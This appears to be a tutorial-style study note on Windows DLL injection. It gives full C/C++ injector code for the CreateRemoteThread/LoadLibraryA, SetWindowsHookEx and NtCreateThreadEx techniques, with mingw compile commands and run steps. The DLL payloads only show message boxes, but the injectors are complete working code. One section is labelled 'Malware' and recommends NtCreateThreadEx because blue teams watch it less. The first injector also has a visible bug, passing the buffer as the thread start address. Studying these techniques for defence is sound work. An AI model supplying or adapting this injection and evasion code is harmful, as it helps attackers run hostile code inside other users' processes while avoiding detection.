There is a alight difference in writing C code for exe and DLL. The basic Difference is how you call code in your module or program.
- In exe case there should be a function called
main
which is being called by the OS loader when it finishes all in initialization. - On the other hand with the DLL loader has already created process in memory and for some reason that process needs your DLL or any other DLL to be load it into the process and it might be due to the function your DLL implements.
- So exe need a
main
function and DLL’s needDLLMain
function.
Simple DLL Injection
For illustration, we will create a DLL which will just pop-up a message box:
DLL Code
//evil.cpp
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved){
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "Meow from evil.dll!", "=^..^=", MB_OK);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Explanation
#include <windows.h>
windows.h
is a Windows-specific header file that lets your program use the Windows API — which is a massive collection of functions Microsoft provides for doing stuff on Windows.
#pragma comment (lib, "user32.lib")
It is a compiler directive, a special instruction that tells the compiler (not your program) to link a specific library automatically.
In this case:
Part | Meaning |
---|---|
#pragma | special instructions to the compiler |
comment | a type of pragma used for metadata/comments |
(lib, "user32.lib") | link with user32.lib when building |
🛠️ Why is this needed?
In Windows, some important functions (like MessageBox
) live inside system libraries, not in your code.
MessageBox()
→ comes fromuser32.dll
user32.dll
→ needs a linker file calleduser32.lib
during compile time.
Without linking user32.lib
, if you use MessageBox()
, you’ll get an error like:
unresolved external symbol MessageBoxA
👉 #pragma comment(lib, "something.lib")
means: “Hey compiler, link this library when compiling my code!”
Other examples:
#pragma comment (lib, "advapi32.lib") // For registry operations
#pragma comment (lib, "ws2_32.lib") // For socket/network code
#pragma comment (lib, "kernel32.lib") // Core Windows API
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved)
This is the main entry point for a DLL (Dynamic Link Library) in Windows.
Just like a .exe starts with main()
,
a .dll starts with DllMain()
.
Part | Meaning |
---|---|
BOOL | Returns TRUE (success) or FALSE (failure) |
APIENTRY | See What is APIENTRY? |
DllMain | Special reserved name. Windows expects this function inside your DLL |
HMODULE hModule | Handle to the DLL itself. (like the “ID” of your DLL in memory) - [[DLL Injection Into The Process#HMODULE hModule |HMODULE hModule]] |
DWORD nReason | Why DllMain was called (attach/detach, etc.) - [[DLL Injection Into The Process#DWORD nReason |DWORD nReason]] |
LPVOID lpReserved | Reserved pointer for future use (sometimes NULL) - [[DLL Injection Into The Process#LPVOID lpReserved | LPVOID IpReserved]] |
When you write a function in C like: |
void hello();
the computer needs to know how to call it.
There are different ways (called calling conventions) that a CPU can call a function.
For example:
- How to pass the values (left to right? right to left?)
- Who cleans the mess (stack memory) after calling? The function? Or the caller?
What is APIENTRY?
👉 APIENTRY
is just a shortcut (macro) that means:
-
“Hey, Windows! When you call this function, please use your special way (Windows way) of calling.”
That Windows special way is called__stdcall
.
In SUPER SIMPLE words: -
APIENTRY
= just a nickname for__stdcall
-
__stdcall
= Windows’ way of calling a function safely.
If you are making a DLL, Windows automatically calls your function DllMain()
.
So you MUST tell the compiler:
“Windows, I promise my function is ready for your calling style!”
That’s why you write:
BOOL APIENTRY DllMain(...)
Normally, you don’t need APIENTRY
in EXE programs.
It’s mostly used for DLLs, NOT for normal EXE apps.
When you make a normal .exe
program — like:
int main() {
printf("Hello, world!");
return 0;
}
The Windows operating system doesn’t call your main()
function directly.
It first calls a small helper (crt0
) that sets up the environment, then it runs main()
in normal C calling style.
✅ No need for special Windows rules.
✅ No need for APIENTRY
.
But when you make a DLL, it’s different.
When you make a DLL, Windows directly calls a special function like DllMain()
.
Windows itself is the caller, not your code!
And Windows expects your function to be built with __stdcall
style — which is what APIENTRY
means.
If you don’t write APIENTRY
, Windows might call it wrong → Boom, crash 💥
HMODULE hModule
👉 HMODULE
is just a fancy Windows type.
👉 It is basically a handle (a reference) to your loaded module.
Module = a program or DLL that is loaded into memory.
Think like this:
When your DLL is loaded by a process, Windows says:
“Okay, I loaded your DLL into memory at some address. Here’s a small number (handle) you can use to refer to it.”
That number is hModule
.
✅ So, in DllMain(HMODULE hModule, ...)
:
hModule
is a handle to your own DLL (the one that is being loaded).- You can use it if you want to:
- Find out where your DLL is in memory.
- Load resources inside your DLL (icons, images, etc.).
- Or just pass it somewhere else if needed.
DWORD nReason
DWORD
means “Double Word”, which is just a 32-bit unsigned integer (unsigned int
).nReason
tells your DLL whyDllMain
is being called.
In simple words:
What event just happened to the DLL?
Possible values for nReason
are:
Value | Meaning |
---|---|
DLL_PROCESS_ATTACH | Your DLL is being loaded into a process (process starts using your DLL). |
DLL_PROCESS_DETACH | Your DLL is being unloaded from a process (process is closing or freeing your DLL). |
DLL_THREAD_ATTACH | A new thread was created in the process. |
DLL_THREAD_DETACH | A thread inside the process is exiting. |
🔵 It’s like Windows notifies your DLL about important events, and gives you a chance to react.
LPVOID lpReserved
👉 LPVOID
means “Long Pointer to VOID” — basically:
- a pointer (
*
) - to anything (void = no specific type)
- 32-bit on 32-bit systems, 64-bit on 64-bit systems.
In simple words:
lpReserved
is just a generic pointer that can point to any kind of data — but you have to know what it actually holds.
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "Meow from evil.dll!", "=^..^=", MB_OK);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
The switch (nReason)
Block
This is the part where the program reacts differently depending on why DllMain
was called. It’s like different paths for different situations.
Understanding Each case
:
DLL_PROCESS_ATTACH
:- This case is triggered when the DLL is loaded into a process.
- In your code, when this happens, a MessageBox pops up with the text
Meow from evil.dll!
. - This means the DLL was loaded successfully and it’s time to take action (display the message in this case).
case DLL_PROCESS_ATTACH:
MessageBox(
NULL, // No parent window
"Meow from evil.dll!", // The message to show
"=^..^=", // The message box title
MB_OK // Just a standard OK button
);
break;
DLL_PROCESS_DETACH
:- This case is triggered when the DLL is unloaded from a process.
- In your code, there’s nothing inside the
case DLL_PROCESS_DETACH
block — meaning no specific action is taken when the DLL is unloaded. - Normally, you’d do cleanup here (e.g., free memory, close resources).
case DLL_PROCESS_DETACH:
// You could clean up here, like freeing memory or closing files
break;
DLL_THREAD_ATTACH
:- This case is triggered when a new thread is created within the process.
- In your code, there’s nothing inside the
case DLL_THREAD_ATTACH
block either — again, you don’t take any action in this simple example. - You could do something like logging or tracking the thread creation if you wanted.
case DLL_THREAD_ATTACH:
// Do something when a new thread starts
break;
DLL_THREAD_DETACH
:- This case is triggered when a thread is exiting in the process.
- No action is taken in this case either. You could use this to log or cleanup for threads if needed.
case DLL_THREAD_DETACH:
// Do something when a thread exits
break;
Final Overview:
- When the DLL is loaded (
DLL_PROCESS_ATTACH
), you show a message. - When the DLL is unloaded (
DLL_PROCESS_DETACH
), you do nothing in this example. - When a new thread is created (
DLL_THREAD_ATTACH
) or exiting (DLL_THREAD_DETACH
), you don’t do anything either in this case.
Injecting this dll to the process
We will use Code Injection Into The Process’s code and will modify it to inject dll.
C++ Code
//evil_inj.cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
PVOID rb; // remote buffer
// handle to kernel32 and pass it to GetProcAddress
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
// parse process ID
if (atoi(argv[1]) == 0){
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// "copy" data between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
Explanation
Explaining only newly added portion from previous code.
#include <tlhelp32.h>
tlhelp32.h
is a header file, which provides access to the Tool Help Library functions in Windows. These functions are primarily used for process and thread enumeration, among other system-level operations.
What is the Tool Help Library?
The Tool Help Library is a Windows API that allows you to get information about processes, threads, modules, and heaps on the system. This library is useful for interacting with processes and performing operations such as:
- Enumerating processes
- Enumerating threads
- Getting information about modules (DLLs and EXEs) that are loaded into a process
The functions in the Tool Help Library are mainly used to gather information about running processes and system resources, which is why it’s commonly used in debugging and reverse engineering contexts.
Common Functions in
tlhelp32.h
Some of the key functions provided by tlhelp32.h
include:
CreateToolhelp32Snapshot
:- Captures a snapshot of the system’s processes, threads, modules, or heaps at a particular point in time.
Example:
HANDLE CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
dwFlags
: Specifies what information should be captured, such as processes or threads.th32ProcessID
: The process ID for the snapshot;0
for all processes.
- Captures a snapshot of the system’s processes, threads, modules, or heaps at a particular point in time.
Process32First
andProcess32Next
:- Used to iterate through the list of processes in the snapshot.
Example:
BOOL Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); BOOL Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
Process32First
starts the iteration of processes.Process32Next
continues the iteration to the next process.PROCESSENTRY32
is a structure that holds information about a process.
- Used to iterate through the list of processes in the snapshot.
Thread32First
andThread32Next
:- Used to enumerate threads in a snapshot.
Example:
BOOL Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte); BOOL Thread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
- These functions help you get information about the threads running within a particular process.
- Used to enumerate threads in a snapshot.
Module32First
andModule32Next
:- Used to enumerate the modules (DLLs or EXEs) loaded by a process.
Example:
BOOL Module32First(HANDLE hSnapshot, LPMODULEENTRY32 lpme); BOOL Module32Next(HANDLE hSnapshot, LPMODULEENTRY32 lpme);
- Used to enumerate the modules (DLLs or EXEs) loaded by a process.
Example Usage of
CreateToolhelp32Snapshot
to Get Process List
Here’s a simple example that uses the Tool Help API to get a list of running processes on the system:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
int main() {
// Create a snapshot of all processes
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("Failed to create snapshot\n");
return 1;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
// Get the first process in the snapshot
if (Process32First(hSnapshot, &pe32)) {
do {
// Print process name and PID
printf("Process Name: %s | PID: %d\n", pe32.szExeFile, pe32.th32ProcessID);
} while (Process32Next(hSnapshot, &pe32)); // Get the next process
} else {
printf("Failed to get first process\n");
}
// Close the snapshot handle
CloseHandle(hSnapshot);
return 0;
}
- Creating the Snapshot:
- The
CreateToolhelp32Snapshot
function is called with the flagTH32CS_SNAPPROCESS
to create a snapshot of all processes on the system. The second argument is0
, meaning we want information on all processes.
- The
- Process Iteration:
- We use
Process32First
to get the first process in the snapshot, and then useProcess32Next
to iterate over all the processes in the snapshot. Each process’ information is stored in thePROCESSENTRY32
structure.
- We use
- Printing Process Info:
- For each process, we print the executable file name (
szExeFile
) and the process ID (th32ProcessID
).
- For each process, we print the executable file name (
- Closing the Snapshot:
- After the iteration is complete, we close the snapshot handle using
CloseHandle
.
- After the iteration is complete, we close the snapshot handle using
HMODULE hKernel32 = GetModuleHandle("Kernel32");
-
GetModuleHandle("Kernel32")
asks Windows:“Hey Windows, please give me the handle (address) of the loaded module (DLL) called
Kernel32.dll
inside my current process.” -
hKernel32
now stores the base address (kind of like the starting memory address) wherekernel32.dll
is loaded. -
kernel32.dll
is a super important system DLL — it contains many essential Windows functions likeCreateFile
,VirtualAlloc
,LoadLibrary
, etc. -
Every Windows program automatically loads
kernel32.dll
— it’s always in the process memory. -
HMODULE
is just a typedef for a pointer (void*
) that points to the base of the loaded module in memory.
So after this line: -
hKernel32
points to wherekernel32.dll
is living inside your program’s memory.
We need this handle so you can use it withGetProcAddress
, like this:
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
GetProcAddress
asks Windows:“Inside the DLL you gave me (
hKernel32
), please find the memory address of the function calledLoadLibraryA
.”- The returned address (pointer to the function) is stored in
lb
.
Part | Meaning |
---|---|
VOID *lb | We store the address of the LoadLibraryA function in a generic pointer (VOID * ) — meaning: “some function at some address.” |
GetProcAddress(...) | Windows API function to find functions inside DLLs. |
hKernel32 | Handle (memory base address) of kernel32.dll you got from GetModuleHandle("Kernel32") . |
"LoadLibraryA" | Name of the function you want to find. (The ANSI version, not the Unicode one.) |
Compile and Run Code
Step 1 ➡ First we wil l compile our code for create a evil.dll
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive
Step 2 ➡ Compile our Modified code.
x86_64-w64-mingw32-gcc -O2 evil_inj.cpp -o inj.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1
Step 3 ➡ Transfer evil.dll
to Windows at C:/ and inj.exe
at your desired Location.
Step 4 ➡ Get PID(Process ID).
- First we will need launch the instance in which we want to inject our DLL. And the try to figure out it’s PID(Process ID).
- Here, we will use
calc.exe
as the instance in which we want to inject our code and Process Explorer to know it’s PID(Process ID).
Here, in my case the PID is 3384.
Step 5 ➡ Run command .\inj.exe <PID>
Done.
Adding findMyProc
function to above Code.
//hack2.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
// find process ID by process name
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
int main(int argc, char* argv[]) {
int pid = 0; // process ID
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer
// handle to kernel32 and pass it to GetProcAddress
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
// get process ID by name
pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);
}
// open process
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}
Compiling the code
x86_64-w64-mingw32-gcc -O2 hack2.cpp -o hack2.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1
Make sure to put evil.dll at C:\
Refer this : DLL Code
run:
.\hack2.exe calc.exe
via SetWindowsHookEx
The SetWindowsHookEx installs a hook routine into the hook chain, which is then invoked whenever certain events are triggered.
Signature:
HHOOK SetWindowsHookExA(
[in] int idHook,
[in] HOOKPROC lpfn,
[in] HINSTANCE hmod,
[in] DWORD dwThreadId
);
isHook
is the most important parameter here. It refer to the type of hook to be installed. It can be:
Hook Constant | Description |
---|---|
WH_JOURNALRECORD | Records input events (keyboard/mouse). |
WH_JOURNALPLAYBACK | Plays back recorded input events. |
WH_KEYBOARD | Monitors keyboard input events (high-level). |
WH_GETMESSAGE | Monitors messages from the message queue. |
WH_CALLWNDPROC | Monitors messages sent to a window procedure (before processing). |
WH_CBT | Monitors system events like window create, activate, etc. |
WH_SYSMSGFILTER | Monitors system messages for modal dialogs. |
WH_MOUSE | Monitors mouse events (high-level). |
WH_HARDWARE | Monitors hardware messages (rarely used). |
WH_DEBUG | Allows debugging of other hooks. |
WH_SHELL | Receives shell events (like window activation). |
WH_FOREGROUNDIDLE | Called when the foreground thread is idle. |
WH_CALLWNDPROCRET | Monitors messages after they’ve been processed by a window procedure. |
WH_KEYBOARD_LL | Low-level keyboard hook (system-wide). |
WH_MOUSE_LL | Low-level mouse hook (system-wide). |
WH_MSGFILTER | Monitors messages for modal dialogs/message boxes in a message loop. |
DLL Code
//evil.cpp
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
exter "C" __declspec(dllexport) int Meow(){
MessageBox(
NULL,
"Meow from evil.dll",
"=^..^=",
MB_OK
);
return 0;
}
Explanation
- We have created a DLL. Where
DllMain()
function is called when the DLL is loaded into the process’s address space. - And there is a function called
Meow()
, which is an exported function and just pop-up message “Meow from evil.dll!” .
C Code
#include <windows.h>
#include <cstdio>
typedef int (__cdecl *MeowProc)();
int main(void) {
HINSTANCE meowDll;
MeowProc meowFunc;
// load evil DLL
meowDll = LoadLibrary(TEXT("evil.dll"));
// get the address of exported function from evil DLL
meowFunc = (MeowProc) GetProcAddress(meowDll, "Meow");
// install the hook - using the WH_KEYBOARD action
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)meowFunc, meowDll, 0);
Sleep(5*1000);
UnhookWindowsHookEx(hook);
return 0;
}
Explanation
typedef int (__cdecl *MeowProc)();
Define a new type called MeowProc
, which is a pointer to a function that returns an int
, takes no arguments, and uses the __cdecl
calling convention.
Part | Meaning |
---|---|
typedef | Create a new name (alias) for a type. |
int | The function returns an int . |
__cdecl | Calling convention (used for how function arguments are handled on the stack). |
*MeowProc | The new name for this function pointer type. |
() | The function takes no arguments. |
HINSTANCE meowDll;
MeowProc meowFunc;
- Declares a handle for the DLL and a pointer to the function.
meowDll = LoadLibrary(TEXT("evil.dll"));
- Loads
evil.dll
into the process memory. - This causes
DllMain
(if implemented) to be executed withDLL_PROCESS_ATTACH
.
meowFunc = (MeowProc) GetProcAddress(meowDll, "Meow");
- Retrieves the address of the exported
Meow
function insideevil.dll
.
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)meowFunc, meowDll, 0);
This line is attempting to set a system-wide keyboard hook using a function from a DLL.
Parameter | Value in Your Code | Meaning |
---|---|---|
idHook | WH_KEYBOARD | Type of hook — this sets a keyboard hook (value = 2 ). |
lpfn | (HOOKPROC)meowFunc | Pointer to your hook function, cast to correct type. |
hMod | meowDll | Handle to the DLL that contains the meowFunc function. |
dwThreadId | 0 | Hook all threads system-wide (global hook). |
It tells Windows:
Please hook all keyboard input events in the system and call the meowFunc
function (inside evil.dll
) whenever a key is pressed.
Sleep(5*1000);
- Waits 5 seconds, presumably to allow the hook to “run”.
UnhookWindowsHookEx(hook);
- Cleans up the hook after the sleep period.
Compile
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive
Run
.\hack.exe
via NtCreateThreadEx
Note
The reason why it’s good to have this technique in your arsenal is because we are not using CreateRemoteThread which is more popular and suspicious and which is moreclosely investigated by the blue teamers.
NtCreateThreadEx
is an internal Windows API function that is not officially documented by Microsoft, but is commonly known in Windows internals and security circles. It is used to create threads in a process, similar to CreateThread
or CreateRemoteThread
but it offers more flexibility and lower-level control.
Common Use Cases
- DLL Injection: Tools that inject code into other processes sometimes use
NtCreateThreadEx
because it can bypass some security checks or limitations imposed on higher-level APIs. - Remote Thread Creation: More direct and less monitored by standard security APIs, so often used by security researchers and also malware.
Basic Signature (simplified)
NTSTATUS NtCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
);
Simple DLL
A dll which pop-up at Message box when loaded.
//evil.c
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Compile
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c
Simple exe
A Simple exe
for our victim process.
//mouse.c
#include <windows.h>
#pragma comment (lib, "user32.lib")
int main() {
MessageBox(NULL, "Squeak-squeak!", "<:( )~~", MB_OK);
return 0;
}
Compile
x86_64-w64-mingw32-gcc -O2 mouse.c -o mouse.exe -mconsole
Malware
Code
//h.cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <vector>
#pragma comment(lib, "advapi32.lib")
typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
int main(int argc, char* argv[]) {
DWORD pid = 0; // process ID
HANDLE ph; // process handle
HANDLE ht; // thread handle
LPVOID rb; // remote buffer
SIZE_T rl; // return length
char evilDll[] = "evil.dll";
int evilLen = sizeof(evilDll) + 1;
HMODULE hKernel32 = GetModuleHandle("Kernel32");
LPTHREAD_START_ROUTINE lb = (LPTHREAD_START_ROUTINE) GetProcAddress(hKernel32, "LoadLibraryA");
pNtCreateThreadEx ntCTEx = (pNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
if (ntCTEx == NULL) {
CloseHandle(ph);
printf("NtCreateThreadEx failed :( exiting...\n");
return -2;
}
pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
if (ph == NULL) {
printf("OpenProcess failed :( exiting...\n");
return -2;
}
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// write payload to memory buffer
WriteProcessMemory(ph, rb, evilDll, evilLen, rl); // NULL);
ntCTEx(&ht, 0x1FFFFF, NULL, ph,(LPTHREAD_START_ROUTINE) lb, rb, FALSE, NULL, NULL, NULL, NULL);
if (ht == NULL) {
CloseHandle(ph);
printf("ThreadHandle failed :( exiting...\n");
return -2;
} else {
printf("successfully inject via NtCreateThreadEx :)\n");
}
WaitForSingleObject(ht, INFINITE);
CloseHandle(ht);
CloseHandle(ph);
}
return 0;
}
Explaination
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <vector>
- Standard and Windows-specific headers for process enumeration, memory operations, and thread handling.
#pragma comment(lib, "advapi32.lib")
- Links
advapi32.lib
at build time (needed for some advanced API functions).
typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
- Defines a function pointer type (
pNtCreateThreadEx
) to the undocumented Windows API functionNtCreateThreadEx
(fromntdll.dll
). - This function lets you create remote threads in 64-bit processes more reliably than
CreateRemoteThread
.
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
pe.dwSize = sizeof(PROCESSENTRY32);
hResult = Process32First(hSnapshot, &pe);
while (hResult) {
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
CloseHandle(hSnapshot);
return pid;
}
- Purpose: Find the PID of a process by its name (
procname
). - Uses
CreateToolhelp32Snapshot
to take a snapshot of all processes and iterates through them withProcess32First
/Process32Next
. - If it finds the target process, returns its process ID (pid).
main()
int main(int argc, char* argv[]) {
- Entry point.
- The process name to inject into is given as a command-line argument (
argv[1]
).
DWORD pid = 0;
HANDLE ph;
HANDLE ht;
LPVOID rb;
SIZE_T rl;
char evilDll[] = "evil.dll";
int evilLen = sizeof(evilDll) + 1;
Variables:
pid
– process ID.ph
– handle to target process.ht
– handle to remote thread.rb
– remote memory buffer.rl
– size of written data.evilDll
– DLL name to inject.evilLen
– length of the DLL name (including the null terminator).
HMODULE hKernel32 = GetModuleHandle("Kernel32");
LPTHREAD_START_ROUTINE lb = (LPTHREAD_START_ROUTINE) GetProcAddress(hKernel32, "LoadLibraryA");
- Loads the address of
LoadLibraryA
fromkernel32.dll
(used for DLL injection).
pNtCreateThreadEx ntCTEx = (pNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
- Gets the address of the undocumented
NtCreateThreadEx
function fromntdll.dll
.
if (ntCTEx == NULL) {
CloseHandle(ph);
printf("NtCreateThreadEx failed :( exiting...\n");
return -2;
}
- If this fails, exits because the injection relies on this function.
pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
- Uses
findMyProc()
to find the PID of the process named by the user. - Exits if not found.
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
if (ph == NULL) {
printf("OpenProcess failed :( exiting...\n");
return -2;
}
- Opens the process with full access so it can write to it and create threads.
rb = VirtualAllocEx(ph, NULL, evilLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- Allocates memory in the remote process for the DLL path (
evil.dll
).
WriteProcessMemory(ph, rb, evilDll, evilLen, rl); // NULL);
- Writes the path to the DLL (
evil.dll
) into the allocated memory (rb
) of the target process.
ntCTEx(&ht, 0x1FFFFF, NULL, ph,(LPTHREAD_START_ROUTINE) lb, rb, FALSE, NULL, NULL, NULL, NULL);
- Uses
NtCreateThreadEx
to start a new thread in the target process. - The thread calls
LoadLibraryA
with the DLL path (rb
) to load (inject) the DLL.
if (ht == NULL) {
CloseHandle(ph);
printf("ThreadHandle failed :( exiting...\n");
return -2;
} else {
printf("successfully inject via NtCreateThreadEx :)\n");
}
- Checks if the thread was successfully created.
- If successful, prints a success message.
WaitForSingleObject(ht, INFINITE);
CloseHandle(ht);
CloseHandle(ph);
- Waits for the remote thread to finish (
WaitForSingleObject
). - Cleans up thread and process handles.
return 0;
}
- Exit with
0
status (success).
Compile
x86_64-w64-mingw32-g++ h.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive
Run
- Move
evil.dll
,mouse.exe
,hack.exe
to windows 7 64-bit
Powershell 1:
.\mouse.exe
Powershell 2
.\hack.exe mouse.exe